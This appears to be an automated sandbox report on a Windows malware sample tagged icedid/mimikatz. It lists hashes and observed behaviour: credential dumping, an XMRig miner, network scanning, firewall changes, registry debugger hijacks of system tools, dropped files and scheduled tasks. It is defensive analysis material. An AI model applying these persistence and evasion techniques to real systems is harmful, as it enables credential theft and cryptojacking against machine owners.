Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
10-04-2024 18:52
Behavioral task
behavioral1
Sample
2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe
Resource
win7-20240221-en
General
-
Target
2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe
-
Size
11.0MB
-
MD5
97385ee23ca1f52ca472990d6f5f3dce
-
SHA1
f9bf10042973c8fc2093d4593ee13f0f52e9bbcf
-
SHA256
4c5d274d61489fecdfad2c8d30435abbac62cfa315e4bf4543f01e14748d313a
-
SHA512
d80e163fa7548aa40f4f4f5d6a713f81c648ac2e8505df6cded24d364b73157f4337fda5d2427d76127c458d51331e676aa842edc5ced13d56496cce62265b10
-
SSDEEP
98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
kbejuig.exedescription pid process target process PID 1824 created 1504 1824 kbejuig.exe spoolsv.exe -
Contacts a large (29801) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4856-135-0x00007FF7EB270000-0x00007FF7EB35E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral2/memory/4856-136-0x00007FF7EB270000-0x00007FF7EB35E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 39 IoCs
Processes:
resource yara_rule behavioral2/memory/1572-0-0x0000000000400000-0x0000000000AA4000-memory.dmp UPX C:\Windows\mitbajei\kbejuig.exe UPX behavioral2/memory/3952-7-0x0000000000400000-0x0000000000AA4000-memory.dmp UPX C:\Windows\mfckutrue\Corporate\vfshost.exe UPX behavioral2/memory/4856-135-0x00007FF7EB270000-0x00007FF7EB35E000-memory.dmp UPX behavioral2/memory/4856-136-0x00007FF7EB270000-0x00007FF7EB35E000-memory.dmp UPX C:\Windows\Temp\mfckutrue\ligfuakbd.exe UPX behavioral2/memory/1332-141-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/1332-144-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX C:\Windows\Temp\ycubiyfde\kayllc.exe UPX behavioral2/memory/1564-162-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/704-170-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/2200-174-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/2712-178-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/1564-180-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/1564-181-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/540-185-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/1208-189-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/4500-193-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/3348-197-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/1564-200-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/3420-202-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/3316-206-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/4120-210-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/1564-212-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/4380-215-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/1564-218-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/1296-220-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/1336-224-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/4084-228-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/4840-233-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/1564-234-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/1620-236-0x00007FF758720000-0x00007FF75877B000-memory.dmp UPX behavioral2/memory/1564-247-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/1564-248-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/1564-249-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/1564-251-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/1564-253-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX behavioral2/memory/1564-255-0x00007FF760E20000-0x00007FF760F40000-memory.dmp UPX -
XMRig Miner payload 12 IoCs
Processes:
resource yara_rule behavioral2/memory/1564-180-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig behavioral2/memory/1564-181-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig behavioral2/memory/1564-200-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig behavioral2/memory/1564-212-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig behavioral2/memory/1564-218-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig behavioral2/memory/1564-234-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig behavioral2/memory/1564-247-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig behavioral2/memory/1564-248-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig behavioral2/memory/1564-249-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig behavioral2/memory/1564-251-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig behavioral2/memory/1564-253-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig behavioral2/memory/1564-255-0x00007FF760E20000-0x00007FF760F40000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 5 IoCs
Processes:
resource yara_rule behavioral2/memory/1572-0-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz C:\Windows\mitbajei\kbejuig.exe mimikatz behavioral2/memory/3952-7-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral2/memory/4856-135-0x00007FF7EB270000-0x00007FF7EB35E000-memory.dmp mimikatz behavioral2/memory/4856-136-0x00007FF7EB270000-0x00007FF7EB35E000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
Processes:
kbejuig.exewpcap.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts kbejuig.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts kbejuig.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 5092 netsh.exe 2432 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
Processes:
kbejuig.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kbejuig.exe -
Executes dropped EXE 28 IoCs
Processes:
kbejuig.exekbejuig.exewpcap.execrtyfytge.exevfshost.exeligfuakbd.exexohudmc.exefkjvgk.exekayllc.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exekbejuig.exeligfuakbd.exeligfuakbd.exeiljtkedpu.exekbejuig.exepid process 3952 kbejuig.exe 1824 kbejuig.exe 3868 wpcap.exe 4524 crtyfytge.exe 4856 vfshost.exe 1332 ligfuakbd.exe 4628 xohudmc.exe 1740 fkjvgk.exe 1564 kayllc.exe 704 ligfuakbd.exe 2200 ligfuakbd.exe 2712 ligfuakbd.exe 540 ligfuakbd.exe 1208 ligfuakbd.exe 4500 ligfuakbd.exe 3348 ligfuakbd.exe 3420 ligfuakbd.exe 3316 ligfuakbd.exe 4120 ligfuakbd.exe 4380 ligfuakbd.exe 1296 ligfuakbd.exe 1336 ligfuakbd.exe 4084 ligfuakbd.exe 2580 kbejuig.exe 4840 ligfuakbd.exe 1620 ligfuakbd.exe 5096 iljtkedpu.exe 5436 kbejuig.exe -
Loads dropped DLL 12 IoCs
Processes:
wpcap.execrtyfytge.exepid process 3868 wpcap.exe 3868 wpcap.exe 3868 wpcap.exe 3868 wpcap.exe 3868 wpcap.exe 3868 wpcap.exe 3868 wpcap.exe 3868 wpcap.exe 3868 wpcap.exe 4524 crtyfytge.exe 4524 crtyfytge.exe 4524 crtyfytge.exe -
Processes:
resource yara_rule C:\Windows\mfckutrue\Corporate\vfshost.exe upx behavioral2/memory/4856-135-0x00007FF7EB270000-0x00007FF7EB35E000-memory.dmp upx behavioral2/memory/4856-136-0x00007FF7EB270000-0x00007FF7EB35E000-memory.dmp upx C:\Windows\Temp\mfckutrue\ligfuakbd.exe upx behavioral2/memory/1332-141-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/1332-144-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx C:\Windows\Temp\ycubiyfde\kayllc.exe upx behavioral2/memory/1564-162-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/704-170-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/2200-174-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/2712-178-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/1564-180-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/1564-181-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/540-185-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/1208-189-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/4500-193-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/3348-197-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/1564-200-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/3420-202-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/3316-206-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/4120-210-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/1564-212-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/4380-215-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/1564-218-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/1296-220-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/1336-224-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/4084-228-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/4840-233-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/1564-234-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/1620-236-0x00007FF758720000-0x00007FF75877B000-memory.dmp upx behavioral2/memory/1564-247-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/1564-248-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/1564-249-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/1564-251-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/1564-253-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx behavioral2/memory/1564-255-0x00007FF760E20000-0x00007FF760F40000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 79 ifconfig.me 80 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
Processes:
wpcap.exekbejuig.exexohudmc.exedescription ioc process File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft kbejuig.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData kbejuig.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\fkjvgk.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 kbejuig.exe File opened for modification C:\Windows\SysWOW64\fkjvgk.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 kbejuig.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A kbejuig.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies kbejuig.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache kbejuig.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 kbejuig.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content kbejuig.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A kbejuig.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE kbejuig.exe -
Drops file in Program Files directory 3 IoCs
Processes:
wpcap.exedescription ioc process File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
Processes:
2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exekbejuig.exeiljtkedpu.execmd.exedescription ioc process File opened for modification C:\Windows\mitbajei\kbejuig.exe 2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe File created C:\Windows\mfckutrue\UnattendGC\specials\svschost.exe kbejuig.exe File created C:\Windows\mitbajei\vimpcsvc.xml kbejuig.exe File created C:\Windows\mitbajei\docmicfg.xml kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\spoolsrv.exe kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\spoolsrv.xml kbejuig.exe File opened for modification C:\Windows\mitbajei\svschost.xml kbejuig.exe File created C:\Windows\mfckutrue\tbejirgpe\ip.txt kbejuig.exe File created C:\Windows\mfckutrue\Corporate\vfshost.exe kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\vimpcsvc.xml kbejuig.exe File created C:\Windows\mfckutrue\tbejirgpe\crtyfytge.exe kbejuig.exe File created C:\Windows\mfckutrue\tbejirgpe\wpcap.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\tucl-1.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\schoedcl.exe kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\svschost.xml kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\vimpcsvc.xml kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\schoedcl.xml kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\docmicfg.exe kbejuig.exe File opened for modification C:\Windows\mfckutrue\tbejirgpe\Packet.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\trch-1.dll kbejuig.exe File created C:\Windows\mfckutrue\tbejirgpe\scan.bat kbejuig.exe File created C:\Windows\mfckutrue\tbejirgpe\Packet.dll kbejuig.exe File opened for modification C:\Windows\mitbajei\spoolsrv.xml kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\AppCapture64.dll kbejuig.exe File opened for modification C:\Windows\mfckutrue\tbejirgpe\Result.txt iljtkedpu.exe File created C:\Windows\mfckutrue\tbejirgpe\wpcap.exe kbejuig.exe File created C:\Windows\mfckutrue\tbejirgpe\iljtkedpu.exe kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\Shellcode.ini kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\AppCapture32.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\xdvl-0.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\zlib1.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\svschost.xml kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\docmicfg.xml kbejuig.exe File opened for modification C:\Windows\mitbajei\vimpcsvc.xml kbejuig.exe File created C:\Windows\mfckutrue\upbdrjv\swrpwe.exe kbejuig.exe File opened for modification C:\Windows\mfckutrue\Corporate\log.txt cmd.exe File created C:\Windows\mfckutrue\UnattendGC\specials\posh-0.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\schoedcl.xml kbejuig.exe File created C:\Windows\mitbajei\schoedcl.xml kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\exma-1.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\tibe-2.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\ucl.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\vimpcsvc.exe kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\crli-0.dll kbejuig.exe File opened for modification C:\Windows\mitbajei\schoedcl.xml kbejuig.exe File created C:\Windows\ime\kbejuig.exe kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\cnli-1.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\coli-0.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\libxml2.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\ssleay32.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\spoolsrv.xml kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\docmicfg.xml kbejuig.exe File created C:\Windows\mitbajei\svschost.xml kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\libeay32.dll kbejuig.exe File created C:\Windows\mfckutrue\UnattendGC\specials\trfo-2.dll kbejuig.exe File created C:\Windows\mitbajei\spoolsrv.xml kbejuig.exe File created C:\Windows\mfckutrue\Corporate\mimilib.dll kbejuig.exe File created C:\Windows\mitbajei\kbejuig.exe 2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe File opened for modification C:\Windows\mitbajei\docmicfg.xml kbejuig.exe File created C:\Windows\mfckutrue\Corporate\mimidrv.sys kbejuig.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 1232 sc.exe 3352 sc.exe 4360 sc.exe 2144 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 3 IoCs
Processes:
resource yara_rule C:\Windows\mitbajei\kbejuig.exe nsis_installer_2 C:\Windows\mfckutrue\tbejirgpe\wpcap.exe nsis_installer_1 C:\Windows\mfckutrue\tbejirgpe\wpcap.exe nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 1920 schtasks.exe 3432 schtasks.exe 4040 schtasks.exe -
Modifies data under HKEY_USERS 43 IoCs
Processes:
ligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exekbejuig.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ kbejuig.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" kbejuig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" kbejuig.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals 